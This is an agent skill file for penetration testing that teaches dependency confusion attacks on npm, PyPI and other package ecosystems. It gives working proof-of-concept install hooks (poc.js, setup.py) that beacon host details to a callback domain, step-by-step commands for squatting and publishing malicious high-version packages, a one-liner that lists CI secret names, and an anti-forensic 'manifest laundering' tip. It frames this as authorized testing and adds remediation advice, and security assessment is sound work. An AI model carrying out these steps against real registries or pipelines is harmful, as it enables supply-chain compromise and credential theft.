exploiting-dependency-confusion
$
npx mdskill add xalgord/xalgorix/exploiting-dependency-confusion- During authorized assessments where you can recover application manifests or lockfiles (`package.json`, `requirements.txt`, `pom.xml`, `*.csproj`, `go.mod`, `Cargo.toml`, `Gemfile`) - When a target leaks internal package names through public JS bundles, error messages, CI logs, or exposed `.git` directories - When the build tooling is configured with both internal and public registries and is allowed to pick the "best" version globally - When testing CI/CD runners that fetch dependencies and hold cloud credentials, signing keys, or deploy secrets - When you spot `npx <binary>` invocations in repos, docs, or CI definitions (binary-name takeover variant)
SKILL.md
.github/skills/exploiting-dependency-confusionView on GitHub ↗
---
name: exploiting-dependency-confusion
description: Identifying and exploiting dependency confusion (substitution) attacks where a package manager resolves an
internal dependency name from a public registry instead of the intended private one, leading to attacker-controlled
code execution at install time. Activates when testing build pipelines, CI/CD systems, leaked manifests, or any
ecosystem (npm, PyPI, NuGet, Maven, Gradle, Go, Cargo, RubyGems) that mixes internal and public package sources.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- dependency-confusion
- supply-chain
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Exploiting Dependency Confusion
## When to Use
- During authorized assessments where you can recover application manifests or lockfiles (`package.json`, `requirements.txt`, `pom.xml`, `*.csproj`, `go.mod`, `Cargo.toml`, `Gemfile`)
- When a target leaks internal package names through public JS bundles, error messages, CI logs, or exposed `.git` directories
- When the build tooling is configured with both internal and public registries and is allowed to pick the "best" version globally
- When testing CI/CD runners that fetch dependencies and hold cloud credentials, signing keys, or deploy secrets
- When you spot `npx <binary>` invocations in repos, docs, or CI definitions (binary-name takeover variant)
## Prerequisites
- **Authorization**: Written engagement scope explicitly permitting publishing test packages to public registries
- **Registry accounts**: npm, PyPI, NuGet, RubyGems accounts for publishing PoC packages
- **Unique markers**: Engagement-specific package versions and out-of-band callback infrastructure (Burp Collaborator, interactsh, your own DNS)
- **Cleanup plan**: Ability to unpublish/yank packages immediately when testing concludes
## Critical: Variants Most Often Missed
Scanners usually only check "is the internal npm name unclaimed publicly". The
real attack surface is broader. Test every variant below.
```text
# 1. Non-existent / abandoned internal name -> public registry fallback.
# Internal "company-logging" no longer exists; resolver finds your public package.
# 2. Version preference across registries (THE #1 MISS).
# Internal index has company-utils@1.0.1; you publish company-utils@9.99.99
# publicly. Resolver that sees both picks the higher version.
# 3. Typosquatting an imported public name.
# App imports "reqests" / "djngo" / "loadsh" -> register the misspelling.
# 4. Scoped-package binary takeover via npx (no registry precedence needed).
# Real package @company/tool exposes unscoped binary "tool".
# `npx tool` outside the dep context fetches PUBLIC "tool".
# 5. Transitive / subdependency hijack.
# Internal package depends on an internal transitive name that is public-claimable.
# 6. Maven groupId / Go module path / NuGet ID-pattern squatting.
# com.company.* , github.com/your-org/* , Company.* prefixes inferred from leaks.
```
Minimal npm PoC package that proves install-time execution without touching app logic:
```json
{
"name": "company-internal-utils",
"version": "99.99.99",
"scripts": {
"preinstall": "node poc.js",
"postinstall": "node poc.js"
}
}
```
```javascript
// poc.js -- benign proof only: beacon hostname + cwd, no data theft
const os = require('os');
const https = require('https');
const id = encodeURIComponent(os.hostname() + '|' + process.cwd());
https.get('https://ENGAGEMENT.oast.fun/dc/' + id);
```
For Python, prefer **import-time** execution (wheels do not run arbitrary code on
install by default); a malicious `setup.py` in an sdist runs on `pip install`:
```python
# setup.py in a source distribution
import os, urllib.request
urllib.request.urlopen("https://ENGAGEMENT.oast.fun/dc/" + os.uname().nodename)
from setuptools import setup
setup(name="company-internal", version="99.0.0")
```
### How to CONFIRM a hit (avoid false negatives)
Code execution in supply-chain attacks is asynchronous and often runs on a CI
box you cannot see, so rely on out-of-band signals, not HTTP responses:
- **DNS/HTTP callback fired** to your unique `ENGAGEMENT.oast.fun` subdomain — the request source IP, hostname, and `cwd` confirm where it ran.
- **Egress-blocked targets**: fall back to a **DNS-only** beacon (DNS exfil) or encode proof into an error message the build surfaces.
- **CI log markers**: messages like `The following package was not found and will be installed` (npx) or your package name appearing in install logs.
- **Lockfile diff**: the resolved registry URL points at the public registry for an internal name.
- Treat ANY callback carrying the target's hostname/CI runner identity as a confirmed install-time RCE; do not require a shell.
## Workflow
### Step 1: Enumerate Internal Package Names
```bash
# Grep recovered repos / bundles / CI configs for manifests and internal namespaces
grep -rEi "(@[a-z0-9-]+/|company-|internal\.|com\.company)" . \
--include=package.json --include=*.lock --include=requirements*.txt \
--include=pom.xml --include=*.csproj --include=go.mod --include=Cargo.toml
# Pull names out of public JS bundles (webpack chunk names, sourcemaps)
curl -s https://target.example.com/static/main.js | grep -oE '"@[a-z0-9-]+/[a-z0-9-]+"'
# Look for npx invocations (binary-name takeover candidates)
grep -rE "npx [a-z0-9@/_-]+" . docs/ .github/ .gitlab-ci.yml 2>/dev/null
```
### Step 2: Check Public Registry Availability
```bash
# npm: 404 means the name is unclaimed and squattable
npm view company-internal-utils # E404 -> claimable
# PyPI
curl -s -o /dev/null -w "%{http_code}" https://pypi.org/pypi/company-internal/json # 404 -> claimable
# NuGet
curl -s "https://api.nuget.org/v3-flatcontainer/company.internal/index.json"
```
### Step 3: Publish a Version That Wins Resolution
```bash
# npm - publish with a very high semver so "best version" picks yours
npm publish # package.json version: 99.99.99, with preinstall/postinstall hook
# PyPI - upload an sdist (executes setup.py on install) with high version
python -m build && twine upload dist/*
# For npx binary takeover, bind a matching bin entry:
# "bin": { "tool": "./cli.js" } then publish public package named "tool"
```
### Step 4: Trigger and Capture Execution
```bash
# Wait for CI/dev installs, or trigger an install in scope:
npm install # or npm ci (note: npm ci STILL runs lifecycle scripts)
pip install company-internal
# Watch your OOB listener for callbacks
interactsh-client # or monitor Burp Collaborator / your DNS logs
```
### Step 5: Demonstrate Impact (Authorized)
```bash
# On CI runners the hook runs before tests and often sees secrets.
# Prove access WITHOUT exfiltrating real data - beacon env var NAMES only:
node -e "console.log(Object.keys(process.env).filter(k=>/TOKEN|KEY|SECRET|AWS/.test(k)))"
# Reference the key NAMES in your report; never copy secret VALUES off-target.
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Dependency Confusion** | Resolver fetches an internal name from a public registry because both sources are visible at resolution time |
| **Version Preference** | "Best/newest version globally" rules let a high public version beat the internal one |
| **Install-time Execution** | npm `preinstall`/`install`/`postinstall` hooks run on `npm install`/`npm ci` without importing the lib |
| **Import-time Execution** | Python wheels do not run code on install; an sdist `setup.py` does, so prefer sdist or import paths |
| **npx Binary Takeover** | `npx <name>` falls back to installing a public package named `<name>` when no local bin matches |
| **Subdependency Hijacking** | Claiming internal transitive names when the top-level name already exists publicly |
| **Manifest Laundering** | Anti-forensic trick: run hook, delete dropper, restore a benign manifest |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **interactsh / Burp Collaborator** | Out-of-band DNS/HTTP callbacks to confirm asynchronous code execution |
| **npm / pip / nuget / gem CLIs** | Publishing PoC packages and querying registry availability |
| **confused (visma)** | Scans manifests across ecosystems for dependency-confusion-prone names |
| **snyk / depcheck** | Inventorying declared vs resolved dependencies |
| **grep / ripgrep** | Mining repos, bundles, and CI configs for internal names and `npx` usage |
| **gau / waybackurls** | Discovering exposed manifests and bundles from historical crawl data |
## Common Scenarios
### Scenario 1: Leaked package.json Reveals Internal Scope
A public JS bundle references `@acme/telemetry`, which does not exist on the public npm registry. Publishing `@acme/telemetry` (or the unscoped fallback) with a `postinstall` hook results in a callback from the target's CI runner during the next build.
### Scenario 2: Version Preference on a Mixed Index
The Python build uses `--extra-index-url` pointing at both an internal index and public PyPI. Internal `acme-config` is `1.4.0`; publishing `acme-config 9.0.0` as an sdist to PyPI makes the resolver pick the public package, executing `setup.py` on install.
### Scenario 3: npx Binary-Name Takeover
A CI job runs `npx build-assets`. The real tool is the scoped `@acme/build-assets`, but its binary is unscoped. From a fresh workspace npm cannot find the local bin, assumes `--yes` in non-interactive mode, and installs the unclaimed public `build-assets` package, granting execution.
## Output Format
```
## Dependency Confusion Finding
**Vulnerability**: Dependency Confusion / Supply-Chain Substitution
**Severity**: Critical (CVSS 9.1)
**Location**: CI build pipeline (npm install) resolving @acme/telemetry
**OWASP Category**: A08:2021 - Software and Data Integrity Failures
### Reproduction Steps
1. Recovered internal package name @acme/telemetry from https://target.example.com/static/main.js
2. Confirmed name unclaimed on public npm registry (npm view -> E404)
3. Published @acme/telemetry@99.99.99 with a benign preinstall beacon
4. Next CI build fetched the public package; received OOB callback from runner IP 203.0.113.10 with cwd /builds/acme/web
### Evidence
| Signal | Value |
|--------|-------|
| OOB callback host | ENGAGEMENT.oast.fun/dc/runner-acme-ci-01 |
| Source IP | 203.0.113.10 (target CI egress) |
| Execution context | preinstall hook, before test stage |
| Accessible secret names | AWS_ACCESS_KEY_ID, NPM_TOKEN (names only, not exfiltrated) |
### Recommendation
1. Route all installs through a single internal registry/proxy; block public fallback for internal namespaces
2. Bind internal scopes to the private registry (`@acme:registry=...`) and authenticate
3. Use immutable lockfiles (`npm ci`, `yarn install --immutable`) and hash pinning (`pip --require-hashes`, Gradle verification)
4. Reserve internal names/namespaces on public registries
5. Prefer `npx --package <expected> <binary>`; run CI from project root and fail closed when local bin is absent
6. Install with `--ignore-scripts` in sensitive stages; adopt a minimum-release-age gate for new versions
```